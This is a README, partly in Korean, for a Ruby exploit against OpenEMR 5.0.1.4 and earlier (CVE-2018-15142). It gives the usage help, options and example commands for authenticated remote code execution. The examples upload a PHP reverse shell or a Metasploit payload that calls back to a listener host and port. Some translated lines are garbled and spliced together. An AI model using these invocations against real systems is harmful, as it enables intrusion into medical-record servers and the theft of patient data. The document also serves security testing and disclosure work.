
OpenEMR <= 5.0.1 - (인증된) 원격 코드 실행
OpenEMR <= 5.0.1.4 - (인증된) 원격 코드 실행
CVE-2018-15142에 대한 익스플로잇.
[EDB-49486] [PacketStorm] [WLB-2020080011]
$ ruby exploit.rb --help
OpenEMR <= 5.0.1.4 - (Authenticated) Remote Code Execution
Usage:
exploit.rb manual --root-url <url> --shell <filename> --user <username> --password <password> [--debug]
exploit.rb semi-auto --root-url <url> --user <username> --password <password> --payload <payload> --lhost <host> --lport <port> [--debug]
exploit.rb auto --root-url <url> --user <username> --password <password> --lhost <host> --lport <port> [--debug]
exploit.rb -H | --help
Options:
-r <url>, --root-url <url> Root URL (base path) including HTTP scheme, port and root folder
-s <filename>, --shell <filename> Filename of the PHP reverse shell payload
-u <username>, --user <username> Username of the admin
-p <password>, --password <password> Password of the admin
-m <payload>, --payload <payload> Metasploit PHP payload
-h <host>, --lhost <host> Reverse shell local host
-t <port>, --lport <port> Reverse shell local port
--debug Display arguments
-H, --help Show this screen
Examples:
exploit.rb manual -r http://example.org/openemr -s myRevShell.php -u admin -p pass123
exploit.rb semi-auto -r http://example.org:8080/openemr -u admin_emr -p qwerty2020 -m 'php/reverse_php' -h 10.0.0.2 -t 8888
exploit.rb auto -r https://example.org:4443 -u admin_usr -p rock5 -h 192.168.0.2 -t 9999
php/reverse_php 대신 다른 페이로드를 지정하려는 경우에 사용합니다msfvenom)BlackArch 설치 예시:
pacman -S ruby-httpclient ruby-docopt metasploit
gem 사용 예시:
gem install httpclient docopt
이것은 EDB-ID-48515를 개선하여 다시 작성한 것이며 EDB-ID-45202 파트 2의 구현입니다:
msfconsole로 자동 생성합니다이 익스플로잇은 Ruby 2.7.1로 테스트되었습니다.
EDB-ID-48515 정보:
Exploit Author: Musyoka Ian
Date: 2020-05-25
Vendor Homepage: https://www.open-emr.org/
Software Link: https://github.com/openemr/openemr/archive/v5_0_1_3.tar.gz
Dockerfile: https://github.com/haccer/exploits/blob/master/OpenEMR-RCE/Dockerfile
Version: < 5.0.1 (Patch 4)
Tested on: Ubuntu LAMP, OpenEMR Version 5.0.1.3
References: https://medium.com/@musyokaian/openemr-version-5-0-1-remote-code-execution-vulnerability-2f8fd8644a69